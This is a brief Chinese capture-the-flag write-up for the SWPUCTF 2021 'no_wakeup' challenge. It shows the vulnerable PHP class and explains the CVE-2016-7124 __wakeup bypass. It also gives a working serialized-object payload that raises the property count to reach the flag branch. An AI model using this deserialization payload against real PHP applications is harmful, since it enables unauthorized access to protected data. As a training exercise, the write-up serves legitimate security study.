(反序列化)[SWPUCTF 2021 新生赛]no_wakeup

打开题目

复制代码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

__destruct->__wakeup(要绕过)

反序列时先检测有没有wakeup方法,有就先调用

但是CVE-2016-7124影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10

p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

即可

相关推荐
我的xiaodoujiao11 小时前
使用 Python 语言 从 0 到 1 搭建完整 Web UI自动化测试学习系列 46--撰写 README项目说明文档文件
python·学习·测试工具·pytest
第七序章11 小时前
【Linux学习笔记】初识Linux —— 理解gcc编译器
linux·运维·服务器·开发语言·人工智能·笔记·学习
学编程的闹钟11 小时前
99【html与php的混写】
学习
-Springer-11 小时前
STM32 学习 —— 个人学习笔记5(EXTI 外部中断 & 对射式红外传感器及旋转编码器计数)
笔记·stm32·学习
魔力军11 小时前
Rust学习Day3: 3个小demo实现
java·学习·rust
●VON11 小时前
HarmonyOS应用开发实战(基础篇)Day01-《ArkTS基本知识》
学习·华为·harmonyos·鸿蒙·von
玄同76512 小时前
Python Random 模块深度解析:从基础 API 到 AI / 大模型工程化实践
人工智能·笔记·python·学习·算法·语言模型·llm
静听山水12 小时前
Redis的Pipeline (管道)
数据库·redis·php
符哥200812 小时前
C++ 适合初学者的学习笔记整理
c++·笔记·学习
曦月逸霜12 小时前
Python快速入门——学习笔记(持续更新中~)
笔记·python·学习